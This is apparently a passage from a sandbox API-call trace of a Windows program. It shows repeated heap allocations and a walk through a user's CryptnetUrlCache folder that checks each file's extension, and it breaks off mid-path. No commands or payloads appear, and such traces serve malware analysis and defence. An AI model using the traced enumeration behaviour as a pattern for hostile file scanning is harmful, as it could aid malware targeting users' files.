0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.718] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.721] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.722] PathFindFileNameW (pszPath="") returned="" [0061.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.722] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.722] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0061.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x130) returned 0x2fd6e70 [0061.722] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0061.722] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0061.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.722] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x130) returned 0x2fd6e70 [0061.722] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0061.722] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0061.722] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0061.722] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0061.723] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0061.723] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0061.724] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0061.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 